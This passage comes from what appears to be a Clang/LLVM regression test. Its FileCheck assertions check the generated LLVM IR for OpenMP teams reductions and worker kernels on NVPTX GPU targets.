[[TMP64:%.*]] = bitcast i8* [[TMP62]] to i16* // CHECK5-NEXT: [[TMP65:%.*]] = load i16, i16* [[TMP63]], align 2 // CHECK5-NEXT: store i16 [[TMP65]], i16* [[TMP64]], align 2 // CHECK5-NEXT: br label [[IFCONT8:%.*]] // CHECK5: else7: // CHECK5-NEXT: br label [[IFCONT8]] // CHECK5: ifcont8: // CHECK5-NEXT: ret void // CHECK5-LABEL: define {{[^@]+}}@_omp_reduction_inter_warp_copy_func16 // CHECK5-SAME: (i8* [[TMP0:%.*]], i32 [[TMP1:%.*]]) #[[ATTR0]] { // CHECK5-NEXT: entry: // CHECK5-NEXT: [[DOTADDR:%.*]] = alloca i8*, align 4 // CHECK5-NEXT: [[DOTADDR1:%.*]] = alloca i32, align 4 // CHECK5-NEXT: [[TMP2:%.*]] = call i32 @__kmpc_global_thread_num(%struct.ident_t* @[[GLOB3]]) // CHECK5-NEXT: store i8* [[TMP0]], i8** [[DOTADDR]], align 4 // CHECK5-NEXT: store i32 [[TMP1]], i32* [[DOTADDR1]], align 4 // CHECK5-NEXT: [[NVPTX_TID:%.*]] = call i32 @llvm.nvvm.read.ptx.sreg.tid.x() // CHECK5-NEXT: [[NVPTX_TID2:%.*]] = call i32 @llvm.nvvm.read.ptx.sreg.tid.x() // CHECK5-NEXT: [[NVPTX_LANE_ID:%.*]] = and i32 [[NVPTX_TID2]], 31 // CHECK5-NEXT: [[NVPTX_TID3:%.*]] = call i32 @llvm.nvvm.read.ptx.sreg.tid.x() // CHECK5-NEXT: [[NVPTX_WARP_ID:%.*]] = ashr i32 [[NVPTX_TID3]], 5 // CHECK5-NEXT: [[TMP3:%.*]] = load i8*, i8** [[DOTADDR]], align 4 // CHECK5-NEXT: [[TMP4:%.*]] = bitcast i8* [[TMP3]] to [2 x i8*]* // CHECK5-NEXT: call void @__kmpc_barrier(%struct.ident_t* @[[GLOB4]], i32 [[TMP2]]) // CHECK5-NEXT: [[WARP_MASTER:%.*]] = icmp eq i32 [[NVPTX_LANE_ID]], 0 // CHECK5-NEXT: br i1 [[WARP_MASTER]], label [[THEN:%.*]], label [[ELSE:%.*]] // CHECK5: then: // CHECK5-NEXT: [[TMP5:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[TMP4]], i32 0, i32 0 // CHECK5-NEXT: [[TMP6:%.*]] = load i8*, i8** [[TMP5]], align 4 // CHECK5-NEXT: [[TMP7:%.*]] = bitcast i8* [[TMP6]] to i32* // CHECK5-NEXT: [[TMP8:%.*]] = getelementptr inbounds [32 x i32], [32 x i32] addrspace(3)* @__openmp_nvptx_data_transfer_temporary_storage, i64 0, i32 [[NVPTX_WARP_ID]] // CHECK5-NEXT: [[TMP9:%.*]] = load i32, i32* [[TMP7]], align 4 // CHECK5-NEXT: store volatile i32 [[TMP9]], i32 addrspace(3)* [[TMP8]], align 4 // CHECK5-NEXT: br label [[IFCONT:%.*]] // CHECK5: else: // CHECK5-NEXT: br label [[IFCONT]] // CHECK5: ifcont: // CHECK5-NEXT: call void @__kmpc_barrier(%struct.ident_t* @[[GLOB4]], i32 [[TMP2]]) // CHECK5-NEXT: [[TMP10:%.*]] = load i32, i32* [[DOTADDR1]], align 4 // CHECK5-NEXT: [[IS_ACTIVE_THREAD:%.*]] = icmp ult i32 [[NVPTX_TID]], [[TMP10]] // CHECK5-NEXT: br i1 [[IS_ACTIVE_THREAD]], label [[THEN4:%.*]], label [[ELSE5:%.*]] // CHECK5: then4: // CHECK5-NEXT: [[TMP11:%.*]] = getelementptr inbounds [32 x i32], [32 x i32] addrspace(3)* @__openmp_nvptx_data_transfer_temporary_storage, i64 0, i32 [[NVPTX_TID]] // CHECK5-NEXT: [[TMP12:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[TMP4]], i32 0, i32 0 // CHECK5-NEXT: [[TMP13:%.*]] = load i8*, i8** [[TMP12]], align 4 // CHECK5-NEXT: [[TMP14:%.*]] = bitcast i8* [[TMP13]] to i32* // CHECK5-NEXT: [[TMP15:%.*]] = load volatile i32, i32 addrspace(3)* [[TMP11]], align 4 // CHECK5-NEXT: store i32 [[TMP15]], i32* [[TMP14]], align 4 // CHECK5-NEXT: br label [[IFCONT6:%.*]] // CHECK5: else5: // CHECK5-NEXT: br label [[IFCONT6]] // CHECK5: ifcont6: // CHECK5-NEXT: call void @__kmpc_barrier(%struct.ident_t* @[[GLOB4]], i32 [[TMP2]]) // CHECK5-NEXT: [[WARP_MASTER7:%.*]] = icmp eq i32 [[NVPTX_LANE_ID]], 0 // CHECK5-NEXT: br i1 [[WARP_MASTER7]], label [[THEN8:%.*]], label [[ELSE9:%.*]] // CHECK5: then8: // CHECK5-NEXT: [[TMP16:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[TMP4]], i32 0, i32 1 // CHECK5-NEXT: [[TMP17:%.*]] = load i8*, i8** [[TMP16]], align 4 // CHECK5-NEXT: [[TMP18:%.*]] = bitcast i8* [[TMP17]] to i16* // CHECK5-NEXT: [[TMP19:%.*]] = getelementptr inbounds [32 x i32], [32 x i32] addrspace(3)* @__openmp_nvptx_data_transfer_temporary_storage, i64 0, i32 [[NVPTX_WARP_ID]] // CHECK5-NEXT: [[TMP20:%.*]] = bitcast i32 addrspace(3)* [[TMP19]] to i16 addrspace(3)* // CHECK5-NEXT: [[TMP21:%.*]] = load i16, i16* [[TMP18]], align 2 // CHECK5-NEXT: store volatile i16 [[TMP21]], i16 addrspace(3)* [[TMP20]], align 2 // CHECK5-NEXT: br label [[IFCONT10:%.*]] // CHECK5: else9: // CHECK5-NEXT: br label [[IFCONT10]] // CHECK5: ifcont10: // CHECK5-NEXT: call void @__kmpc_barrier(%struct.ident_t* @[[GLOB4]], i32 [[TMP2]]) // CHECK5-NEXT: [[TMP22:%.*]] = load i32, i32* [[DOTADDR1]], align 4 // CHECK5-NEXT: [[IS_ACTIVE_THREAD11:%.*]] = icmp ult i32 [[NVPTX_TID]], [[TMP22]] // CHECK5-NEXT: br i1 [[IS_ACTIVE_THREAD11]], label [[THEN12:%.*]], label [[ELSE13:%.*]] // CHECK5: then12: // CHECK5-NEXT: [[TMP23:%.*]] = getelementptr inbounds [32 x i32], [32 x i32] addrspace(3)* @__openmp_nvptx_data_transfer_temporary_storage, i64 0, i32 [[NVPTX_TID]] // CHECK5-NEXT: [[TMP24:%.*]] = bitcast i32 addrspace(3)* [[TMP23]] to i16 addrspace(3)* // CHECK5-NEXT: [[TMP25:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[TMP4]], i32 0, i32 1 // CHECK5-NEXT: [[TMP26:%.*]] = load i8*, i8** [[TMP25]], align 4 // CHECK5-NEXT: [[TMP27:%.*]] = bitcast i8* [[TMP26]] to i16* // CHECK5-NEXT: [[TMP28:%.*]] = load volatile i16, i16 addrspace(3)* [[TMP24]], align 2 // CHECK5-NEXT: store i16 [[TMP28]], i16* [[TMP27]], align 2 // CHECK5-NEXT: br label [[IFCONT14:%.*]] // CHECK5: else13: // CHECK5-NEXT: br label [[IFCONT14]] // CHECK5: ifcont14: // CHECK5-NEXT: ret void // CHECK5-LABEL: define {{[^@]+}}@_omp_reduction_list_to_global_copy_func17 // CHECK5-SAME: (i8* [[TMP0:%.*]], i32 [[TMP1:%.*]], i8* [[TMP2:%.*]]) #[[ATTR0]] { // CHECK5-NEXT: entry: // CHECK5-NEXT: [[DOTADDR:%.*]] = alloca i8*, align 4 // CHECK5-NEXT: [[DOTADDR1:%.*]] = alloca i32, align 4 // CHECK5-NEXT: [[DOTADDR2:%.*]] = alloca i8*, align 4 // CHECK5-NEXT: store i8* [[TMP0]], i8** [[DOTADDR]], align 4 // CHECK5-NEXT: store i32 [[TMP1]], i32* [[DOTADDR1]], align 4 // CHECK5-NEXT: store i8* [[TMP2]], i8** [[DOTADDR2]], align 4 // CHECK5-NEXT: [[TMP3:%.*]] = load i8*, i8** [[DOTADDR2]], align 4 // CHECK5-NEXT: [[TMP4:%.*]] = bitcast i8* [[TMP3]] to [2 x i8*]* // CHECK5-NEXT: [[TMP5:%.*]] = load i8*, i8** [[DOTADDR]], align 4 // CHECK5-NEXT: [[TMP6:%.*]] = bitcast i8* [[TMP5]] to %struct._globalized_locals_ty.4* // CHECK5-NEXT: [[TMP7:%.*]] = load i32, i32* [[DOTADDR1]], align 4 // CHECK5-NEXT: [[TMP8:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[TMP4]], i32 0, i32 0 // CHECK5-NEXT: [[TMP9:%.*]] = load i8*, i8** [[TMP8]], align 4 // CHECK5-NEXT: [[TMP10:%.*]] = bitcast i8* [[TMP9]] to i32* // CHECK5-NEXT: [[A:%.*]] = getelementptr inbounds [[STRUCT__GLOBALIZED_LOCALS_TY_4:%.*]], %struct._globalized_locals_ty.4* [[TMP6]], i32 0, i32 0 // CHECK5-NEXT: [[TMP11:%.*]] = getelementptr inbounds [1024 x i32], [1024 x i32]* [[A]], i32 0, i32 [[TMP7]] // CHECK5-NEXT: [[TMP12:%.*]] = load i32, i32* [[TMP10]], align 4 // CHECK5-NEXT: store i32 [[TMP12]], i32* [[TMP11]], align 128 // CHECK5-NEXT: [[TMP13:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[TMP4]], i32 0, i32 1 // CHECK5-NEXT: [[TMP14:%.*]] = load i8*, i8** [[TMP13]], align 4 // CHECK5-NEXT: [[TMP15:%.*]] = bitcast i8* [[TMP14]] to i16* // CHECK5-NEXT: [[B:%.*]] = getelementptr inbounds [[STRUCT__GLOBALIZED_LOCALS_TY_4]], %struct._globalized_locals_ty.4* [[TMP6]], i32 0, i32 1 // CHECK5-NEXT: [[TMP16:%.*]] = getelementptr inbounds [1024 x i16], [1024 x i16]* [[B]], i32 0, i32 [[TMP7]] // CHECK5-NEXT: [[TMP17:%.*]] = load i16, i16* [[TMP15]], align 2 // CHECK5-NEXT: store i16 [[TMP17]], i16* [[TMP16]], align 128 // CHECK5-NEXT: ret void // CHECK5-LABEL: define {{[^@]+}}@_omp_reduction_list_to_global_reduce_func18 // CHECK5-SAME: (i8* [[TMP0:%.*]], i32 [[TMP1:%.*]], i8* [[TMP2:%.*]]) #[[ATTR0]] { // CHECK5-NEXT: entry: // CHECK5-NEXT: [[DOTADDR:%.*]] = alloca i8*, align 4 // CHECK5-NEXT: [[DOTADDR1:%.*]] = alloca i32, align 4 // CHECK5-NEXT: [[DOTADDR2:%.*]] = alloca i8*, align 4 // CHECK5-NEXT: [[DOTOMP_REDUCTION_RED_LIST:%.*]] = alloca [2 x i8*], align 4 // CHECK5-NEXT: store i8* [[TMP0]], i8** [[DOTADDR]], align 4 // CHECK5-NEXT: store i32 [[TMP1]], i32* [[DOTADDR1]], align 4 // CHECK5-NEXT: store i8* [[TMP2]], i8** [[DOTADDR2]], align 4 // CHECK5-NEXT: [[TMP3:%.*]] = load i8*, i8** [[DOTADDR]], align 4 // CHECK5-NEXT: [[TMP4:%.*]] = bitcast i8* [[TMP3]] to %struct._globalized_locals_ty.4* // CHECK5-NEXT: [[TMP5:%.*]] = load i32, i32* [[DOTADDR1]], align 4 // CHECK5-NEXT: [[TMP6:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[DOTOMP_REDUCTION_RED_LIST]], i32 0, i32 0 // CHECK5-NEXT: [[A:%.*]] = getelementptr inbounds [[STRUCT__GLOBALIZED_LOCALS_TY_4:%.*]], %struct._globalized_locals_ty.4* [[TMP4]], i32 0, i32 0 // CHECK5-NEXT: [[TMP7:%.*]] = getelementptr inbounds [1024 x i32], [1024 x i32]* [[A]], i32 0, i32 [[TMP5]] // CHECK5-NEXT: [[TMP8:%.*]] = bitcast i32* [[TMP7]] to i8* // CHECK5-NEXT: store i8* [[TMP8]], i8** [[TMP6]], align 4 // CHECK5-NEXT: [[TMP9:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[DOTOMP_REDUCTION_RED_LIST]], i32 0, i32 1 // CHECK5-NEXT: [[B:%.*]] = getelementptr inbounds [[STRUCT__GLOBALIZED_LOCALS_TY_4]], %struct._globalized_locals_ty.4* [[TMP4]], i32 0, i32 1 // CHECK5-NEXT: [[TMP10:%.*]] = getelementptr inbounds [1024 x i16], [1024 x i16]* [[B]], i32 0, i32 [[TMP5]] // CHECK5-NEXT: [[TMP11:%.*]] = bitcast i16* [[TMP10]] to i8* // CHECK5-NEXT: store i8* [[TMP11]], i8** [[TMP9]], align 4 // CHECK5-NEXT: [[TMP12:%.*]] = bitcast [2 x i8*]* [[DOTOMP_REDUCTION_RED_LIST]] to i8* // CHECK5-NEXT: [[TMP13:%.*]] = load i8*, i8** [[DOTADDR2]], align 4 // CHECK5-NEXT: call void @"_omp$reduction$reduction_func14"(i8* [[TMP12]], i8* [[TMP13]]) #[[ATTR3]] // CHECK5-NEXT: ret void // CHECK5-LABEL: define {{[^@]+}}@_omp_reduction_global_to_list_copy_func19 // CHECK5-SAME: (i8* [[TMP0:%.*]], i32 [[TMP1:%.*]], i8* [[TMP2:%.*]]) #[[ATTR0]] { // CHECK5-NEXT: entry: // CHECK5-NEXT: [[DOTADDR:%.*]] = alloca i8*, align 4 // CHECK5-NEXT: [[DOTADDR1:%.*]] = alloca i32, align 4 // CHECK5-NEXT: [[DOTADDR2:%.*]] = alloca i8*, align 4 // CHECK5-NEXT: store i8* [[TMP0]], i8** [[DOTADDR]], align 4 // CHECK5-NEXT: store i32 [[TMP1]], i32* [[DOTADDR1]], align 4 // CHECK5-NEXT: store i8* [[TMP2]], i8** [[DOTADDR2]], align 4 // CHECK5-NEXT: [[TMP3:%.*]] = load i8*, i8** [[DOTADDR2]], align 4 // CHECK5-NEXT: [[TMP4:%.*]] = bitcast i8* [[TMP3]] to [2 x i8*]* // CHECK5-NEXT: [[TMP5:%.*]] = load i8*, i8** [[DOTADDR]], align 4 // CHECK5-NEXT: [[TMP6:%.*]] = bitcast i8* [[TMP5]] to %struct._globalized_locals_ty.4* // CHECK5-NEXT: [[TMP7:%.*]] = load i32, i32* [[DOTADDR1]], align 4 // CHECK5-NEXT: [[TMP8:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[TMP4]], i32 0, i32 0 // CHECK5-NEXT: [[TMP9:%.*]] = load i8*, i8** [[TMP8]], align 4 // CHECK5-NEXT: [[TMP10:%.*]] = bitcast i8* [[TMP9]] to i32* // CHECK5-NEXT: [[A:%.*]] = getelementptr inbounds [[STRUCT__GLOBALIZED_LOCALS_TY_4:%.*]], %struct._globalized_locals_ty.4* [[TMP6]], i32 0, i32 0 // CHECK5-NEXT: [[TMP11:%.*]] = getelementptr inbounds [1024 x i32], [1024 x i32]* [[A]], i32 0, i32 [[TMP7]] // CHECK5-NEXT: [[TMP12:%.*]] = load i32, i32* [[TMP11]], align 128 // CHECK5-NEXT: store i32 [[TMP12]], i32* [[TMP10]], align 4 // CHECK5-NEXT: [[TMP13:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[TMP4]], i32 0, i32 1 // CHECK5-NEXT: [[TMP14:%.*]] = load i8*, i8** [[TMP13]], align 4 // CHECK5-NEXT: [[TMP15:%.*]] = bitcast i8* [[TMP14]] to i16* // CHECK5-NEXT: [[B:%.*]] = getelementptr inbounds [[STRUCT__GLOBALIZED_LOCALS_TY_4]], %struct._globalized_locals_ty.4* [[TMP6]], i32 0, i32 1 // CHECK5-NEXT: [[TMP16:%.*]] = getelementptr inbounds [1024 x i16], [1024 x i16]* [[B]], i32 0, i32 [[TMP7]] // CHECK5-NEXT: [[TMP17:%.*]] = load i16, i16* [[TMP16]], align 128 // CHECK5-NEXT: store i16 [[TMP17]], i16* [[TMP15]], align 2 // CHECK5-NEXT: ret void // CHECK5-LABEL: define {{[^@]+}}@_omp_reduction_global_to_list_reduce_func20 // CHECK5-SAME: (i8* [[TMP0:%.*]], i32 [[TMP1:%.*]], i8* [[TMP2:%.*]]) #[[ATTR0]] { // CHECK5-NEXT: entry: // CHECK5-NEXT: [[DOTADDR:%.*]] = alloca i8*, align 4 // CHECK5-NEXT: [[DOTADDR1:%.*]] = alloca i32, align 4 // CHECK5-NEXT: [[DOTADDR2:%.*]] = alloca i8*, align 4 // CHECK5-NEXT: [[DOTOMP_REDUCTION_RED_LIST:%.*]] = alloca [2 x i8*], align 4 // CHECK5-NEXT: store i8* [[TMP0]], i8** [[DOTADDR]], align 4 // CHECK5-NEXT: store i32 [[TMP1]], i32* [[DOTADDR1]], align 4 // CHECK5-NEXT: store i8* [[TMP2]], i8** [[DOTADDR2]], align 4 // CHECK5-NEXT: [[TMP3:%.*]] = load i8*, i8** [[DOTADDR]], align 4 // CHECK5-NEXT: [[TMP4:%.*]] = bitcast i8* [[TMP3]] to %struct._globalized_locals_ty.4* // CHECK5-NEXT: [[TMP5:%.*]] = load i32, i32* [[DOTADDR1]], align 4 // CHECK5-NEXT: [[TMP6:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[DOTOMP_REDUCTION_RED_LIST]], i32 0, i32 0 // CHECK5-NEXT: [[A:%.*]] = getelementptr inbounds [[STRUCT__GLOBALIZED_LOCALS_TY_4:%.*]], %struct._globalized_locals_ty.4* [[TMP4]], i32 0, i32 0 // CHECK5-NEXT: [[TMP7:%.*]] = getelementptr inbounds [1024 x i32], [1024 x i32]* [[A]], i32 0, i32 [[TMP5]] // CHECK5-NEXT: [[TMP8:%.*]] = bitcast i32* [[TMP7]] to i8* // CHECK5-NEXT: store i8* [[TMP8]], i8** [[TMP6]], align 4 // CHECK5-NEXT: [[TMP9:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[DOTOMP_REDUCTION_RED_LIST]], i32 0, i32 1 // CHECK5-NEXT: [[B:%.*]] = getelementptr inbounds [[STRUCT__GLOBALIZED_LOCALS_TY_4]], %struct._globalized_locals_ty.4* [[TMP4]], i32 0, i32 1 // CHECK5-NEXT: [[TMP10:%.*]] = getelementptr inbounds [1024 x i16], [1024 x i16]* [[B]], i32 0, i32 [[TMP5]] // CHECK5-NEXT: [[TMP11:%.*]] = bitcast i16* [[TMP10]] to i8* // CHECK5-NEXT: store i8* [[TMP11]], i8** [[TMP9]], align 4 // CHECK5-NEXT: [[TMP12:%.*]] = bitcast [2 x i8*]* [[DOTOMP_REDUCTION_RED_LIST]] to i8* // CHECK5-NEXT: [[TMP13:%.*]] = load i8*, i8** [[DOTADDR2]], align 4 // CHECK5-NEXT: call void @"_omp$reduction$reduction_func14"(i8* [[TMP13]], i8* [[TMP12]]) #[[ATTR3]] // CHECK5-NEXT: ret void // CHECK6-LABEL: define {{[^@]+}}@{{__omp_offloading_[0-9a-z]+_[0-9a-z]+}}__Z9ftemplateIcET_i_l23_worker // CHECK6-SAME: () #[[ATTR0:[0-9]+]] { // CHECK6-NEXT: entry: // CHECK6-NEXT: [[WORK_FN:%.*]] = alloca i8*, align 4 // CHECK6-NEXT: [[EXEC_STATUS:%.*]] = alloca i8, align 1 // CHECK6-NEXT: store i8* null, i8** [[WORK_FN]], align 4 // CHECK6-NEXT: store i8 0, i8* [[EXEC_STATUS]], align 1 // CHECK6-NEXT: br label [[DOTAWAIT_WORK:%.*]] // CHECK6: .await.work: // CHECK6-NEXT: call void @__kmpc_barrier_simple_spmd(%struct.ident_t* null, i32 0) // CHECK6-NEXT: [[TMP0:%.*]] = call i1 @__kmpc_kernel_parallel(i8** [[WORK_FN]]) // CHECK6-NEXT: [[TMP1:%.*]] = zext i1 [[TMP0]] to i8 // CHECK6-NEXT: store i8 [[TMP1]], i8* [[EXEC_STATUS]], align 1 // CHECK6-NEXT: [[TMP2:%.*]] = load i8*, i8** [[WORK_FN]], align 4 // CHECK6-NEXT: [[SHOULD_TERMINATE:%.*]] = icmp eq i8* [[TMP2]], null // CHECK6-NEXT: br i1 [[SHOULD_TERMINATE]], label [[DOTEXIT:%.*]], label [[DOTSELECT_WORKERS:%.*]] // CHECK6: .select.workers: // CHECK6-NEXT: [[TMP3:%.*]] = load i8, i8* [[EXEC_STATUS]], align 1 // CHECK6-NEXT: [[IS_ACTIVE:%.*]] = icmp ne i8 [[TMP3]], 0 // CHECK6-NEXT: br i1 [[IS_ACTIVE]], label [[DOTEXECUTE_PARALLEL:%.*]], label [[DOTBARRIER_PARALLEL:%.*]] // CHECK6: .execute.parallel: // CHECK6-NEXT: [[TMP4:%.*]] = call i32 @__kmpc_global_thread_num(%struct.ident_t* @[[GLOB1:[0-9]+]]) // CHECK6-NEXT: [[TMP5:%.*]] = bitcast i8* [[TMP2]] to void (i16, i32)* // CHECK6-NEXT: call void [[TMP5]](i16 0, i32 [[TMP4]]) // CHECK6-NEXT: br label [[DOTTERMINATE_PARALLEL:%.*]] // CHECK6: .terminate.parallel: // CHECK6-NEXT: call void @__kmpc_kernel_end_parallel() // CHECK6-NEXT: br label [[DOTBARRIER_PARALLEL]] // CHECK6: .barrier.parallel: // CHECK6-NEXT: call void @__kmpc_barrier_simple_spmd(%struct.ident_t* null, i32 0) // CHECK6-NEXT: br label [[DOTAWAIT_WORK]] // CHECK6: .exit: // CHECK6-NEXT: ret void // CHECK6-LABEL: define {{[^@]+}}@{{__omp_offloading_[0-9a-z]+_[0-9a-z]+}}__Z9ftemplateIcET_i_l23 // CHECK6-SAME: (double* nonnull align 8 dereferenceable(8) [[E:%.*]]) #[[ATTR1:[0-9]+]] { // CHECK6-NEXT: entry: // CHECK6-NEXT: [[E_ADDR:%.*]] = alloca double*, align 4 // CHECK6-NEXT: [[E7:%.*]] = alloca double, align 8 // CHECK6-NEXT: [[DOTZERO_ADDR:%.*]] = alloca i32, align 4 // CHECK6-NEXT: [[DOTTHREADID_TEMP_:%.*]] = alloca i32, align 4 // CHECK6-NEXT: store i32 0, i32* [[DOTZERO_ADDR]], align 4 // CHECK6-NEXT: store double* [[E]], double** [[E_ADDR]], align 4 // CHECK6-NEXT: [[TMP0:%.*]] = load double*, double** [[E_ADDR]], align 4 // CHECK6-NEXT: [[NVPTX_TID:%.*]] = call i32 @llvm.nvvm.read.ptx.sreg.tid.x() // CHECK6-NEXT: [[NVPTX_NUM_THREADS:%.*]] = call i32 @llvm.nvvm.read.ptx.sreg.ntid.x() // CHECK6-NEXT: [[NVPTX_WARP_SIZE:%.*]] = call i32 @llvm.nvvm.read.ptx.sreg.warpsize() // CHECK6-NEXT: [[THREAD_LIMIT:%.*]] = sub nuw i32 [[NVPTX_NUM_THREADS]], [[NVPTX_WARP_SIZE]] // CHECK6-NEXT: [[TMP1:%.*]] = icmp ult i32 [[NVPTX_TID]], [[THREAD_LIMIT]] // CHECK6-NEXT: br i1 [[TMP1]], label [[DOTWORKER:%.*]], label [[DOTMASTERCHECK:%.*]] // CHECK6: .worker: // CHECK6-NEXT: call void @{{__omp_offloading_[0-9a-z]+_[0-9a-z]+}}__Z9ftemplateIcET_i_l23_worker() #[[ATTR3:[0-9]+]] // CHECK6-NEXT: br label [[DOTEXIT:%.*]] // CHECK6: .mastercheck: // CHECK6-NEXT: [[NVPTX_TID1:%.*]] = call i32 @llvm.nvvm.read.ptx.sreg.tid.x() // CHECK6-NEXT: [[NVPTX_NUM_THREADS2:%.*]] = call i32 @llvm.nvvm.read.ptx.sreg.ntid.x() // CHECK6-NEXT: [[NVPTX_WARP_SIZE3:%.*]] = call i32 @llvm.nvvm.read.ptx.sreg.warpsize() // CHECK6-NEXT: [[TMP2:%.*]] = sub nuw i32 [[NVPTX_WARP_SIZE3]], 1 // CHECK6-NEXT: [[TMP3:%.*]] = sub nuw i32 [[NVPTX_NUM_THREADS2]], 1 // CHECK6-NEXT: [[TMP4:%.*]] = xor i32 [[TMP2]], -1 // CHECK6-NEXT: [[MASTER_TID:%.*]] = and i32 [[TMP3]], [[TMP4]] // CHECK6-NEXT: [[TMP5:%.*]] = icmp eq i32 [[NVPTX_TID1]], [[MASTER_TID]] // CHECK6-NEXT: br i1 [[TMP5]], label [[DOTMASTER:%.*]], label [[DOTEXIT]] // CHECK6: .master: // CHECK6-NEXT: [[NVPTX_NUM_THREADS4:%.*]] = call i32 @llvm.nvvm.read.ptx.sreg.ntid.x() // CHECK6-NEXT: [[NVPTX_WARP_SIZE5:%.*]] = call i32 @llvm.nvvm.read.ptx.sreg.warpsize() // CHECK6-NEXT: [[THREAD_LIMIT6:%.*]] = sub nuw i32 [[NVPTX_NUM_THREADS4]], [[NVPTX_WARP_SIZE5]] // CHECK6-NEXT: call void @__kmpc_kernel_init(i32 [[THREAD_LIMIT6]], i16 1) // CHECK6-NEXT: call void @__kmpc_data_sharing_init_stack() // CHECK6-NEXT: [[TMP6:%.*]] = call i32 @__kmpc_global_thread_num(%struct.ident_t* @[[GLOB1]]) // CHECK6-NEXT: [[TMP7:%.*]] = load double, double* [[TMP0]], align 8 // CHECK6-NEXT: store double [[TMP7]], double* [[E7]], align 8 // CHECK6-NEXT: store i32 [[TMP6]], i32* [[DOTTHREADID_TEMP_]], align 4 // CHECK6-NEXT: call void @__omp_outlined__(i32* [[DOTTHREADID_TEMP_]], i32* [[DOTZERO_ADDR]], double* [[E7]]) #[[ATTR3]] // CHECK6-NEXT: br label [[DOTTERMINATION_NOTIFIER:%.*]] // CHECK6: .termination.notifier: // CHECK6-NEXT: call void @__kmpc_kernel_deinit(i16 1) // CHECK6-NEXT: call void @__kmpc_barrier_simple_spmd(%struct.ident_t* null, i32 0) // CHECK6-NEXT: br label [[DOTEXIT]] // CHECK6: .exit: // CHECK6-NEXT: ret void // CHECK6-LABEL: define {{[^@]+}}@__omp_outlined__ // CHECK6-SAME: (i32* noalias [[DOTGLOBAL_TID_:%.*]], i32* noalias [[DOTBOUND_TID_:%.*]], double* nonnull align 8 dereferenceable(8) [[E:%.*]]) #[[ATTR1]] { // CHECK6-NEXT: entry: // CHECK6-NEXT: [[DOTGLOBAL_TID__ADDR:%.*]] = alloca i32*, align 4 // CHECK6-NEXT: [[DOTBOUND_TID__ADDR:%.*]] = alloca i32*, align 4 // CHECK6-NEXT: [[E_ADDR:%.*]] = alloca double*, align 4 // CHECK6-NEXT: [[DOTOMP_REDUCTION_RED_LIST:%.*]] = alloca [1 x i8*], align 4 // CHECK6-NEXT: store i32* [[DOTGLOBAL_TID_]], i32** [[DOTGLOBAL_TID__ADDR]], align 4 // CHECK6-NEXT: store i32* [[DOTBOUND_TID_]], i32** [[DOTBOUND_TID__ADDR]], align 4 // CHECK6-NEXT: store double* [[E]], double** [[E_ADDR]], align 4 // CHECK6-NEXT: [[TMP0:%.*]] = load double*, double** [[E_ADDR]], align 4 // CHECK6-NEXT: [[TMP1:%.*]] = call i8* @__kmpc_data_sharing_push_stack(i32 8, i16 1) // CHECK6-NEXT: [[TMP2:%.*]] = bitcast i8* [[TMP1]] to %struct._globalized_locals_ty* // CHECK6-NEXT: [[E1:%.*]] = getelementptr inbounds [[STRUCT__GLOBALIZED_LOCALS_TY:%.*]], %struct._globalized_locals_ty* [[TMP2]], i32 0, i32 0 // CHECK6-NEXT: store double 0.000000e+00, double* [[E1]], align 8 // CHECK6-NEXT: [[TMP3:%.*]] = load double, double* [[E1]], align 8 // CHECK6-NEXT: [[ADD:%.*]] = fadd double [[TMP3]], 5.000000e+00 // CHECK6-NEXT: store double [[ADD]], double* [[E1]], align 8 // CHECK6-NEXT: [[TMP4:%.*]] = load i32*, i32** [[DOTGLOBAL_TID__ADDR]], align 4 // CHECK6-NEXT: [[TMP5:%.*]] = load i32, i32* [[TMP4]], align 4 // CHECK6-NEXT: [[TMP6:%.*]] = getelementptr inbounds [1 x i8*], [1 x i8*]* [[DOTOMP_REDUCTION_RED_LIST]], i32 0, i32 0 // CHECK6-NEXT: [[TMP7:%.*]] = bitcast double* [[E1]] to i8* // CHECK6-NEXT: store i8* [[TMP7]], i8** [[TMP6]], align 4 // CHECK6-NEXT: [[TMP8:%.*]] = bitcast [1 x i8*]* [[DOTOMP_REDUCTION_RED_LIST]] to i8* // CHECK6-NEXT: [[TMP9:%.*]] = load i8*, i8** @"_openmp_teams_reductions_buffer_$_$ptr", align 4 // CHECK6-NEXT: [[TMP10:%.*]] = call i32 @__kmpc_nvptx_teams_reduce_nowait_v2(%struct.ident_t* @[[GLOB1]], i32 [[TMP5]], i8* [[TMP9]], i32 2048, i8* [[TMP8]], void (i8*, i16, i16, i16)* @_omp_reduction_shuffle_and_reduce_func, void (i8*, i32)* @_omp_reduction_inter_warp_copy_func, void (i8*, i32, i8*)* @_omp_reduction_list_to_global_copy_func, void (i8*, i32, i8*)* @_omp_reduction_list_to_global_reduce_func, void (i8*, i32, i8*)* @_omp_reduction_global_to_list_copy_func, void (i8*, i32, i8*)* @_omp_reduction_global_to_list_reduce_func) // CHECK6-NEXT: [[TMP11:%.*]] = icmp eq i32 [[TMP10]], 1 // CHECK6-NEXT: br i1 [[TMP11]], label [[DOTOMP_REDUCTION_THEN:%.*]], label [[DOTOMP_REDUCTION_DONE:%.*]] // CHECK6: .omp.reduction.then: // CHECK6-NEXT: [[TMP12:%.*]] = load double, double* [[TMP0]], align 8 // CHECK6-NEXT: [[TMP13:%.*]] = load double, double* [[E1]], align 8 // CHECK6-NEXT: [[ADD2:%.*]] = fadd double [[TMP12]], [[TMP13]] // CHECK6-NEXT: store double [[ADD2]], double* [[TMP0]], align 8 // CHECK6-NEXT: call void @__kmpc_nvptx_end_reduce_nowait(i32 [[TMP5]]) // CHECK6-NEXT: br label [[DOTOMP_REDUCTION_DONE]] // CHECK6: .omp.reduction.done: // CHECK6-NEXT: call void @__kmpc_data_sharing_pop_stack(i8* [[TMP1]]) // CHECK6-NEXT: ret void // CHECK6-LABEL: define {{[^@]+}}@_omp_reduction_shuffle_and_reduce_func // CHECK6-SAME: (i8* [[TMP0:%.*]], i16 signext 